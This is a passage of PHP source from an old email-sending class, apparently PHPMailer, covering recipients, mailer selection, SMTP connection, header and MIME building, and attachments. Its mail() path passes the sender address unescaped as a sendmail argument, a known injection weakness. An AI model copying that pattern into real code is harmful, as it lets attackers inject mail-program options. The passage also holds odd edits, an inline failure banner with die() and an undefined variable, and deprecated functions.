  1704.     if($bool == true) {
  1705.       $this->ContentType = 'text/html';
  1706.     } else {
  1707.       $this->ContentType = 'text/plain';
  1708.     }
  1709.   }
  1710.  
  1711.   /**
  1712.    * Sets Mailer to send message using SMTP.
  1713.    * @return void
  1714.    */
  1715.   function IsSMTP() {
  1716.     $this->Mailer = 'smtp';
  1717.   }
  1718.  
  1719.   /**
  1720.    * Sets Mailer to send message using PHP mail() function.
  1721.    * @return void
  1722.    */
  1723.   function IsMail() {
  1724.     $this->Mailer = 'mail';
  1725.   }
  1726.  
  1727.   /**
  1728.    * Sets Mailer to send message using the $Sendmail program.
  1729.    * @return void
  1730.    */
  1731.   function IsSendmail() {
  1732.     $this->Mailer = 'sendmail';
  1733.   }
  1734.  
  1735.   /**
  1736.    * Sets Mailer to send message using the qmail MTA.
  1737.    * @return void
  1738.    */
  1739.   function IsQmail() {
  1740.     $this->Sendmail = '/var/qmail/bin/sendmail';
  1741.     $this->Mailer = 'sendmail';
  1742.   }
  1743.  
  1744.   /////////////////////////////////////////////////
  1745.   // METHODS, RECIPIENTS
  1746.   /////////////////////////////////////////////////
  1747.  
  1748.   /**
  1749.    * Adds a "To" address.
  1750.    * @param string $address
  1751.    * @param string $name
  1752.    * @return void
  1753.    */
  1754.   function AddAddress($address, $name = '') {
  1755.     $cur = count($this->to);
  1756.     $this->to[$cur][0] = trim($address);
  1757.     $this->to[$cur][1] = $name;
  1758.   }
  1759.  
  1760.   /**
  1761.    * Adds a "Cc" address. Note: this function works
  1762.    * with the SMTP mailer on win32, not with the "mail"
  1763.    * mailer.
  1764.    * @param string $address
  1765.    * @param string $name
  1766.    * @return void
  1767.    */
  1768.   function AddCC($address, $name = '') {
  1769.     $cur = count($this->cc);
  1770.     $this->cc[$cur][0] = trim($address);
  1771.     $this->cc[$cur][1] = $name;
  1772.   }
  1773.  
  1774.   /**
  1775.    * Adds a "Bcc" address. Note: this function works
  1776.    * with the SMTP mailer on win32, not with the "mail"
  1777.    * mailer.
  1778.    * @param string $address
  1779.    * @param string $name
  1780.    * @return void
  1781.    */
  1782.   function AddBCC($address, $name = '') {
  1783.     $cur = count($this->bcc);
  1784.     $this->bcc[$cur][0] = trim($address);
  1785.     $this->bcc[$cur][1] = $name;
  1786.   }
  1787.  
  1788.   /**
  1789.    * Adds a "Reply-To" address.
  1790.    * @param string $address
  1791.    * @param string $name
  1792.    * @return void
  1793.    */
  1794.   function AddReplyTo($address, $name = '') {
  1795.     $cur = count($this->ReplyTo);
  1796.     $this->ReplyTo[$cur][0] = trim($address);
  1797.     $this->ReplyTo[$cur][1] = $name;
  1798.   }
  1799.  
  1800.   /////////////////////////////////////////////////
  1801.   // METHODS, MAIL SENDING
  1802.   /////////////////////////////////////////////////
  1803.  
  1804.   /**
  1805.    * Creates message and assigns Mailer. If the message is
  1806.    * not sent successfully then it returns false.  Use the ErrorInfo
  1807.    * variable to view description of the error.
  1808.    * @return bool
  1809.    */
  1810.   function Send() {
  1811.     $header = '';
  1812.     $body = '';
  1813.     $result = true;
  1814.  
  1815.     if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1816.       $this->SetError($this->Lang('provide_address'));
  1817.       return false;
  1818.     }
  1819.  
  1820.     /* Set whether the message is multipart/alternative */
  1821.     if(!empty($this->AltBody)) {
  1822.       $this->ContentType = 'multipart/alternative';
  1823.     }
  1824.  
  1825.     $this->error_count = 0; // reset errors
  1826.     $this->SetMessageType();
  1827.     $header .= $this->CreateHeader();
  1828.     $body = $this->CreateBody();
  1829.  
  1830.     if($body == '') {
  1831.       return false;
  1832.     }
  1833.  
  1834.     /* Choose the mailer */
  1835.     switch($this->Mailer) {
  1836.       case 'sendmail':
  1837.         $result = $this->SendmailSend($header, $body);
  1838.         break;
  1839.       case 'smtp':
  1840.         $result = $this->SmtpSend($header, $body);
  1841.         break;
  1842.       case 'mail':
  1843.         $result = $this->MailSend($header, $body);
  1844.         break;
  1845.       default:
  1846.         $result = $this->MailSend($header, $body);
  1847.         break;
  1848.         //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
  1849.         //$result = false;
  1850.         //break;
  1851.     }
  1852.  
  1853.     return $result;
  1854.   }
  1855.  
  1856.   /**
  1857.    * Sends mail using the $Sendmail program.
  1858.    * @access private
  1859.    * @return bool
  1860.    */
  1861.   function SendmailSend($header, $body) {
  1862.     if ($this->Sender != '') {
  1863.       $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1864.     } else {
  1865.       $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
  1866.     }
  1867.  
  1868.     if(!@$mail = popen($sendmail, 'w')) {
  1869.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1870.       return false;
  1871.     }
  1872.  
  1873.     fputs($mail, $header);
  1874.     fputs($mail, $body);
  1875.  
  1876.     $result = pclose($mail);
  1877.     if (version_compare(phpversion(), '4.2.3') == -1) {
  1878.       $result = $result >> 8 & 0xFF;
  1879.     }
  1880.     if($result != 0) {
  1881.       $this->SetError($this->Lang('execute') . $this->Sendmail);
  1882.       return false;
  1883.     }
  1884.     return true;
  1885.   }
  1886.  
  1887.   /**
  1888.    * Sends mail using the PHP mail() function.
  1889.    * @access private
  1890.    * @return bool
  1891.    */
  1892.   function MailSend($header, $body) {
  1893.  
  1894.     $to = '';
  1895.     for($i = 0; $i < count($this->to); $i++) {
  1896.       if($i != 0) { $to .= ', '; }
  1897.       $to .= $this->AddrFormat($this->to[$i]);
  1898.     }
  1899.  
  1900.     $toArr = split(',', $to);
  1901.  
  1902.     $params = sprintf("-oi -f %s", $this->Sender);
  1903.     if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
  1904.       $old_from = ini_get('sendmail_from');
  1905.       ini_set('sendmail_from', $this->Sender);
  1906.       if ($this->SingleTo === true && count($toArr) > 1) {
  1907.         foreach ($toArr as $key => $val) {
  1908.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1909.         }
  1910.       } else {
  1911.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1912.       }
  1913.     } else {
  1914.       if ($this->SingleTo === true && count($toArr) > 1) {
  1915.         foreach ($toArr as $key => $val) {
  1916.           $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
  1917.         }
  1918.       } else {
  1919.         $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
  1920.       }
  1921.     }
  1922.  
  1923.     if (isset($old_from)) {
  1924.       ini_set('sendmail_from', $old_from);
  1925.     }
  1926.  
  1927.     if(!$rt) {
  1928.       $this->SetError($this->Lang('instantiate'));
  1929.       return false;
  1930.     }
  1931.  
  1932.     return true;
  1933.   }
  1934.  
  1935.   /**
  1936.    * Sends mail via SMTP using PhpSMTP (Author:
  1937.    * Chris Ryan).  Returns bool.  Returns false if there is a
  1938.    * bad MAIL FROM, RCPT, or DATA input.
  1939.    * @access private
  1940.    * @return bool
  1941.    */
  1942.   function SmtpSend($header, $body) {
  1943.     $error = '';
  1944.     $bad_rcpt = array();
  1945.  
  1946.     if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
  1947.       return false;
  1948.     }
  1949.  
  1950.     $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
  1951.     if(!$this->smtp->Mail($smtp_from)) {
  1952.       $error = $this->Lang('from_failed') . $smtp_from;
  1953.       $this->SetError($error);
  1954.       $this->smtp->Reset();
  1955.       return false;
  1956.     }
  1957.  
  1958.     /* Attempt to send attach all recipients */
  1959.     for($i = 0; $i < count($this->to); $i++) {
  1960.       if(!$this->smtp->Recipient($this->to[$i][0])) {
  1961.         $bad_rcpt[] = $this->to[$i][0];
  1962.       }
  1963.     }
  1964.     for($i = 0; $i < count($this->cc); $i++) {
  1965.       if(!$this->smtp->Recipient($this->cc[$i][0])) {
  1966.         $bad_rcpt[] = $this->cc[$i][0];
  1967.       }
  1968.     }
  1969.     for($i = 0; $i < count($this->bcc); $i++) {
  1970.       if(!$this->smtp->Recipient($this->bcc[$i][0])) {
  1971.         $bad_rcpt[] = $this->bcc[$i][0];
  1972.       }
  1973.     }
  1974.  
  1975.     if(count($bad_rcpt) > 0) { // Create error message
  1976.       for($i = 0; $i < count($bad_rcpt); $i++) {
  1977.         if($i != 0) {
  1978.           $error .= ', ';
  1979.         }
  1980.         $error .= $bad_rcpt[$i];
  1981.  
  1982.       }
  1983.       $error = $this->Lang('recipients_failed') . $error;
  1984.       $this->SetError($error);
  1985.       $this->smtp->Reset();
  1986.       return false;
  1987.     }
  1988.  
  1989.     if(!$this->smtp->Data($header . $body)) {
  1990.       $this->SetError($this->Lang('data_not_accepted'));
  1991.       $this->smtp->Reset();
  1992.       return false;
  1993.     }
  1994.     if($this->SMTPKeepAlive == true) {
  1995.       $this->smtp->Reset();
  1996.     } else {
  1997.       $this->SmtpClose();
  1998.     }
  1999.  
  2000.     return true;
  2001.   }
  2002.  
  2003.   /**
  2004.    * Initiates a connection to an SMTP server.  Returns false if the
  2005.    * operation failed.
  2006.    * @access private
  2007.    * @return bool
  2008.    */
  2009.   function SmtpConnect() {
  2010.     if($this->smtp == NULL) {
  2011.       $this->smtp = new SMTP();
  2012.     }
  2013.  
  2014.     $this->smtp->do_debug = $this->SMTPDebug;
  2015.     $hosts = explode(';', $this->Host);
  2016.     $index = 0;
  2017.     $connection = ($this->smtp->Connected());
  2018.  
  2019.     /* Retry while there is no connection */
  2020.     while($index < count($hosts) && $connection == false) {
  2021.       $hostinfo = array();
  2022.       if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
  2023.         $host = $hostinfo[1];
  2024.         $port = $hostinfo[2];
  2025.       } else {
  2026.         $host = $hosts[$index];
  2027.         $port = $this->Port;
  2028.       }
  2029.  
  2030.       if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
  2031.         if ($this->Helo != '') {
  2032.           $this->smtp->Hello($this->Helo);
  2033.         } else {
  2034.           $this->smtp->Hello($this->ServerHostname());
  2035.         }
  2036.  
  2037.         $connection = true;
  2038.         if($this->SMTPAuth) {
  2039.           if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
  2040.             $this->SetError($this->Lang('authenticate'));
  2041.             $this->smtp->Reset();
  2042.             $connection = false;
  2043.           }
  2044.         }
  2045.       }
  2046.       $index++;
  2047.     }
  2048.     if(!$connection) {
  2049.       $this->SetError($this->Lang('connect_host'));
  2050.     }
  2051.  
  2052.     return $connection;
  2053.   }
  2054.  
  2055.   /**
  2056.    * Closes the active SMTP session if one exists.
  2057.    * @return void
  2058.    */
  2059.   function SmtpClose() {
  2060.     if($this->smtp != NULL) {
  2061.       if($this->smtp->Connected()) {
  2062.         $this->smtp->Quit();
  2063.         $this->smtp->Close();
  2064.       }
  2065.     }
  2066.   }
  2067.  
  2068.   /**
  2069.    * Sets the language for all class error messages.  Returns false
  2070.    * if it cannot load the language file.  The default language type
  2071.    * is English.
  2072.    * @param string $lang_type Type of language (e.g. Portuguese: "br")
  2073.    * @param string $lang_path Path to the language file directory
  2074.    * @access public
  2075.    * @return bool
  2076.    */
  2077.   function SetLanguage($lang_type, $lang_path = 'language/') {
  2078.     if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
  2079.       include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
  2080.     } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
  2081.       include($lang_path.'phpmailer.lang-en.php');
  2082.     } else {
  2083.       $this->SetError('Could not load language file');
  2084.       return false;
  2085.     }
  2086.     $this->language = $PHPMAILER_LANG;
  2087.  
  2088.     return true;
  2089.   }
  2090.  
  2091.   /////////////////////////////////////////////////
  2092.   // METHODS, MESSAGE CREATION
  2093.   /////////////////////////////////////////////////
  2094.  
  2095.   /**
  2096.    * Creates recipient headers.
  2097.    * @access private
  2098.    * @return string
  2099.    */
  2100.   function AddrAppend($type, $addr) {
  2101.     $addr_str = $type . ': ';
  2102.     $addr_str .= $this->AddrFormat($addr[0]);
  2103.     if(count($addr) > 1) {
  2104.       for($i = 1; $i < count($addr); $i++) {
  2105.         $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2106.       }
  2107.     }
  2108.     $addr_str .= $this->LE;
  2109.  
  2110.     return $addr_str;
  2111.   }
  2112.  
  2113.   /**
  2114.    * Formats an address correctly.
  2115.    * @access private
  2116.    * @return string
  2117.    */
  2118.   function AddrFormat($addr) {
  2119.     if(empty($addr[1])) {
  2120.       $formatted = $this->SecureHeader($addr[0]);
  2121.     } else {
  2122.       $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2123.     }
  2124.  
  2125.     return $formatted;
  2126.   }
  2127.  
  2128.   /**
  2129.    * Wraps message for use with mailers that do not
  2130.    * automatically perform wrapping and for quoted-printable.
  2131.    * Original written by philippe.
  2132.    * @access private
  2133.    * @return string
  2134.    */
  2135.   function WrapText($message, $length, $qp_mode = false) {
  2136.     $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2137.     // If utf-8 encoding is used, we will need to make sure we don't
  2138.     // split multibyte characters when we wrap
  2139.     $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2140.  
  2141.     $message = $this->FixEOL($message);
  2142.     if (substr($message, -1) == $this->LE) {
  2143.       $message = substr($message, 0, -1);
  2144.     }
  2145.  
  2146.     $line = explode($this->LE, $message);
  2147.     $message = '';
  2148.     for ($i=0 ;$i < count($line); $i++) {
  2149.       $line_part = explode(' ', $line[$i]);
  2150.       $buf = '';
  2151.       for ($e = 0; $e<count($line_part); $e++) {
  2152.         $word = $line_part[$e];
  2153.         if ($qp_mode and (strlen($word) > $length)) {
  2154.           $space_left = $length - strlen($buf) - 1;
  2155.           if ($e != 0) {
  2156.             if ($space_left > 20) {
  2157.               $len = $space_left;
  2158.               if ($is_utf8) {
  2159.                 $len = $this->UTF8CharBoundary($word, $len);
  2160.               } elseif (substr($word, $len - 1, 1) == "=") {
  2161.                 $len--;
  2162.               } elseif (substr($word, $len - 2, 1) == "=") {
  2163.                 $len -= 2;
  2164.               }
  2165.               $part = substr($word, 0, $len);
  2166.               $word = substr($word, $len);
  2167.               $buf .= ' ' . $part;
  2168.               $message .= $buf . sprintf("=%s", $this->LE);
  2169.             } else {
  2170.               $message .= $buf . $soft_break;
  2171.             }
  2172.             $buf = '';
  2173.           }
  2174.           while (strlen($word) > 0) {
  2175.             $len = $length;
  2176.             if ($is_utf8) {
  2177.               $len = $this->UTF8CharBoundary($word, $len);
  2178.             } elseif (substr($word, $len - 1, 1) == "=") {
  2179.               $len--;
  2180.             } elseif (substr($word, $len - 2, 1) == "=") {
  2181.               $len -= 2;
  2182.             }
  2183.             $part = substr($word, 0, $len);
  2184.             $word = substr($word, $len);
  2185.  
  2186.             if (strlen($word) > 0) {
  2187.               $message .= $part . sprintf("=%s", $this->LE);
  2188.             } else {
  2189.               $buf = $part;
  2190.             }
  2191.           }
  2192.         } else {
  2193.           $buf_o = $buf;
  2194.           $buf .= ($e == 0) ? $word : (' ' . $word);
  2195.  
  2196.           if (strlen($buf) > $length and $buf_o != '') {
  2197.             $message .= $buf_o . $soft_break;
  2198.             $buf = $word;
  2199.           }
  2200.         }
  2201.       }
  2202.       $message .= $buf . $this->LE;
  2203.     }
  2204.  
  2205.     return $message;
  2206.   }
  2207.  
  2208.   /**
  2209.    * Finds last character boundary prior to maxLength in a utf-8
  2210.    * quoted (printable) encoded string.
  2211.    * Original written by Colin Brown.
  2212.    * @access private
  2213.    * @param string $encodedText utf-8 QP text
  2214.    * @param int    $maxLength   find last character boundary prior to this length
  2215.    * @return int
  2216.    */
  2217.   function UTF8CharBoundary($encodedText, $maxLength) {
  2218.     $foundSplitPos = false;
  2219.     $lookBack = 3;
  2220.     while (!$foundSplitPos) {
  2221.       $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2222.       $encodedCharPos = strpos($lastChunk, "=");
  2223.       if ($encodedCharPos !== false) {
  2224.         // Found start of encoded character byte within $lookBack block.
  2225.         // Check the encoded byte value (the 2 chars after the '=')
  2226.         $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2227.         $dec = hexdec($hex);
  2228.         if ($dec < 128) { // Single byte character.
  2229.           // If the encoded char was found at pos 0, it will fit
  2230.           // otherwise reduce maxLength to start of the encoded char
  2231.           $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2232.           $maxLength - ($lookBack - $encodedCharPos);
  2233.           $foundSplitPos = true;
  2234.         } elseif ($dec >= 192) { // First byte of a multi byte character
  2235.           // Reduce maxLength to split at start of character
  2236.           $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2237.           $foundSplitPos = true;
  2238.         } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2239.           $lookBack += 3;
  2240.         }
  2241.       } else {
  2242.         // No encoded character found
  2243.         $foundSplitPos = true;
  2244.       }
  2245.     }
  2246.     return $maxLength;
  2247.   }
  2248.  
  2249.   /**
  2250.    * Set the body wrapping.
  2251.    * @access private
  2252.    * @return void
  2253.    */
  2254.   function SetWordWrap() {
  2255.     if($this->WordWrap < 1) {
  2256.       return;
  2257.     }
  2258.  
  2259.     switch($this->message_type) {
  2260.       case 'alt':
  2261.         /* fall through */
  2262.       case 'alt_attachments':
  2263.         $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2264.         break;
  2265.       default:
  2266.         $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2267.         break;
  2268.     }
  2269.   }
  2270.  
  2271.   /**
  2272.    * Assembles message header.
  2273.    * @access private
  2274.    * @return string
  2275.    */
  2276.   function CreateHeader() {
  2277.     $result = '';
  2278.  
  2279.     /* Set the boundaries */
  2280.     $uniq_id = md5(uniqid(time()));
  2281.     $this->boundary[1] = 'b1_' . $uniq_id;
  2282.     $this->boundary[2] = 'b2_' . $uniq_id;
  2283.  
  2284.     $result .= $this->HeaderLine('Date', $this->RFCDate());
  2285.     if($this->Sender == '') {
  2286.       $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2287.     } else {
  2288.       $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2289.     }
  2290.  
  2291.     /* To be created automatically by mail() */
  2292.     if($this->Mailer != 'mail') {
  2293.       if(count($this->to) > 0) {
  2294.         $result .= $this->AddrAppend('To', $this->to);
  2295.       } elseif (count($this->cc) == 0) {
  2296.         $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2297.       }
  2298.       if(count($this->cc) > 0) {
  2299.         $result .= $this->AddrAppend('Cc', $this->cc);
  2300.       }
  2301.     }
  2302.  
  2303.     $from = array();
  2304.     $from[0][0] = trim($this->From);
  2305.     $from[0][1] = $this->FromName;
  2306.     $result .= $this->AddrAppend('From', $from);
  2307.  
  2308.     /* sendmail and mail() extract Cc from the header before sending */
  2309.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2310.       $result .= $this->AddrAppend('Cc', $this->cc);
  2311.     }
  2312.  
  2313.     /* sendmail and mail() extract Bcc from the header before sending */
  2314.     if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2315.       $result .= $this->AddrAppend('Bcc', $this->bcc);
  2316.     }
  2317.     if($replyto != "")
  2318.     {
  2319.     if(count($this->ReplyTo) > 0) {
  2320.       $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2321.     }
  2322.     }
  2323.     /* mail() sets the subject itself */
  2324.     if($this->Mailer != 'mail') {
  2325.       $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2326.     }
  2327.  
  2328.     if($this->MessageID != '') {
  2329.       $result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2330.     } else {
  2331.       $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2332.     }
  2333.     $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2334.     if($this->ConfirmReadingTo != '') {
  2335.       $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2336.     }
  2337.  
  2338.     // Add custom headers
  2339.     for($index = 0; $index < count($this->CustomHeader); $index++) {
  2340.       $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2341.     }
  2342.     if (!$this->sign_key_file) {
  2343.       $result .= $this->HeaderLine('MIME-Version', '1.0');
  2344.       $result .= $this->GetMailMIME();
  2345.     }
  2346.  
  2347.     return $result;
  2348.   }
  2349.  
  2350.   /**
  2351.    * Returns the message MIME.
  2352.    * @access private
  2353.    * @return string
  2354.    */
  2355.   function GetMailMIME() {
  2356.     $result = '';
  2357.     switch($this->message_type) {
  2358.       case 'plain':
  2359.         $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2360.         $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2361.         break;
  2362.       case 'attachments':
  2363.         /* fall through */
  2364.       case 'alt_attachments':
  2365.         if($this->InlineImageExists()){
  2366.           $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2367.         } else {
  2368.           $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2369.           $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2370.         }
  2371.         break;
  2372.       case 'alt':
  2373.         $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2374.         $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2375.         break;
  2376.     }
  2377.  
  2378.     if($this->Mailer != 'mail') {
  2379.       $result .= $this->LE.$this->LE;
  2380.     }
  2381.  
  2382.     return $result;
  2383.   }
  2384.  
  2385.   /**
  2386.    * Assembles the message body.  Returns an empty string on failure.
  2387.    * @access private
  2388.    * @return string
  2389.    */
  2390.   function CreateBody() {
  2391.     $result = '';
  2392.     if ($this->sign_key_file) {
  2393.       $result .= $this->GetMailMIME();
  2394.     }
  2395.  
  2396.     $this->SetWordWrap();
  2397.  
  2398.     switch($this->message_type) {
  2399.       case 'alt':
  2400.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2401.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2402.         $result .= $this->LE.$this->LE;
  2403.         $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2404.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2405.         $result .= $this->LE.$this->LE;
  2406.         $result .= $this->EndBoundary($this->boundary[1]);
  2407.         break;
  2408.       case 'plain':
  2409.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2410.         break;
  2411.       case 'attachments':
  2412.         $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2413.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2414.         $result .= $this->LE;
  2415.         $result .= $this->AttachAll();
  2416.         break;
  2417.       case 'alt_attachments':
  2418.         $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2419.         $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2420.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2421.         $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2422.         $result .= $this->LE.$this->LE;
  2423.         $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2424.         $result .= $this->EncodeString($this->Body, $this->Encoding);
  2425.         $result .= $this->LE.$this->LE;
  2426.         $result .= $this->EndBoundary($this->boundary[2]);
  2427.         $result .= $this->AttachAll();
  2428.         break;
  2429.     }
  2430.  
  2431.     if($this->IsError()) {
  2432.       $result = '';
  2433.     } else if ($this->sign_key_file) {
  2434.       $file = tempnam("", "mail");
  2435.       $fp = fopen($file, "w");
  2436.       fwrite($fp, $result);
  2437.       fclose($fp);
  2438.       $signed = tempnam("", "signed");
  2439.  
  2440.       if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2441.         $fp = fopen($signed, "r");
  2442.         $result = fread($fp, filesize($this->sign_key_file));
  2443.         fclose($fp);
  2444.       } else {
  2445.         $this->SetError($this->Lang("signing").openssl_error_string());
  2446.         $result = '';
  2447.       }
  2448.  
  2449.       unlink($file);
  2450.       unlink($signed);
  2451.     }
  2452.  
  2453.     return $result;
  2454.   }
  2455.  
  2456.   /**
  2457.    * Returns the start of a message boundary.
  2458.    * @access private
  2459.    */
  2460.   function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2461.     $result = '';
  2462.     if($charSet == '') {
  2463.       $charSet = $this->CharSet;
  2464.     }
  2465.     if($contentType == '') {
  2466.       $contentType = $this->ContentType;
  2467.     }
  2468.     if($encoding == '') {
  2469.       $encoding = $this->Encoding;
  2470.     }
  2471.     $result .= $this->TextLine('--' . $boundary);
  2472.     $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2473.     $result .= $this->LE;
  2474.     $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2475.     $result .= $this->LE;
  2476.  
  2477.     return $result;
  2478.   }
  2479.  
  2480.   /**
  2481.    * Returns the end of a message boundary.
  2482.    * @access private
  2483.    */
  2484.   function EndBoundary($boundary) {
  2485.     return $this->LE . '--' . $boundary . '--' . $this->LE;
  2486.   }
  2487.  
  2488.   /**
  2489.    * Sets the message type.
  2490.    * @access private
  2491.    * @return void
  2492.    */
  2493.   function SetMessageType() {
  2494.     if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2495.       $this->message_type = 'plain';
  2496.     } else {
  2497.       if(count($this->attachment) > 0) {
  2498.         $this->message_type = 'attachments';
  2499.       }
  2500.       if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2501.         $this->message_type = 'alt';
  2502.       }
  2503.       if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2504.         $this->message_type = 'alt_attachments';
  2505.       }
  2506.     }
  2507.   }
  2508.  
  2509.   /* Returns a formatted header line.
  2510.    * @access private
  2511.    * @return string
  2512.    */
  2513.   function HeaderLine($name, $value) {
  2514.     return $name . ': ' . $value . $this->LE;
  2515.   }
  2516.  
  2517.   /**
  2518.    * Returns a formatted mail line.
  2519.    * @access private
  2520.    * @return string
  2521.    */
  2522.   function TextLine($value) {
  2523.     return $value . $this->LE;
  2524.   }
  2525.  
  2526.   /////////////////////////////////////////////////
  2527.   // CLASS METHODS, ATTACHMENTS
  2528.   /////////////////////////////////////////////////
  2529.  
  2530.   /**
  2531.    * Adds an attachment from a path on the filesystem.
  2532.    * Returns false if the file could not be found
  2533.    * or accessed.
  2534.    * @param string $path Path to the attachment.
  2535.    * @param string $name Overrides the attachment name.
  2536.    * @param string $encoding File encoding (see $Encoding).
  2537.    * @param string $type File extension (MIME) type.
  2538.    * @return bool
  2539.    */
  2540.   function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2541.     if(!@is_file($path)) {
  2542.       $this->SetError($this->Lang('file_access') . $path);
  2543.       return false;
  2544.     }
  2545.  
  2546.     $filename = basename($path);
  2547.     if($name == '') {
  2548.       $name = $filename;
  2549.     }
  2550.  
  2551.     $cur = count($this->attachment);
  2552.     $this->attachment[$cur][0] = $path;
  2553.     $this->attachment[$cur][1] = $filename;
  2554.     $this->attachment[$cur][2] = $name;
  2555.     $this->attachment[$cur][3] = $encoding;
  2556.     $this->attachment[$cur][4] = $type;
  2557.     $this->attachment[$cur][5] = false; // isStringAttachment
  2558.     $this->attachment[$cur][6] = 'attachment';
  2559.     $this->attachment[$cur][7] = 0;
  2560.  
  2561.     return true;
  2562.   }
  2563.  
  2564.   /**
  2565.    * Attaches all fs, string, and binary attachments to the message.
  2566.    * Returns an empty string on failure.
  2567.    * @access private
  2568.    * @return string
  2569.    */
  2570.   function AttachAll() {
  2571.     /* Return text of body */
  2572.     $mime = array();
  2573.  
  2574.     /* Add all attachments */
  2575.     for($i = 0; $i < count($this->attachment); $i++) {
  2576.       /* Check for string attachment */
  2577.       $bString = $this->attachment[$i][5];
  2578.       if ($bString) {
  2579.         $string = $this->attachment[$i][0];
  2580.       } else {
  2581.         $path = $this->attachment[$i][0];
  2582.       }
  2583.  
  2584.       $filename    = $this->attachment[$i][1];
  2585.       $name        = $this->attachment[$i][2];
  2586.       $encoding    = $this->attachment[$i][3];
  2587.       $type        = $this->attachment[$i][4];
  2588.       $disposition = $this->attachment[$i][6];
  2589.       $cid         = $this->attachment[$i][7];
  2590.  
  2591.       $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2592.       $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2593.       $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2594.  
  2595.       if($disposition == 'inline') {
  2596.         $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2597.       }
  2598.  
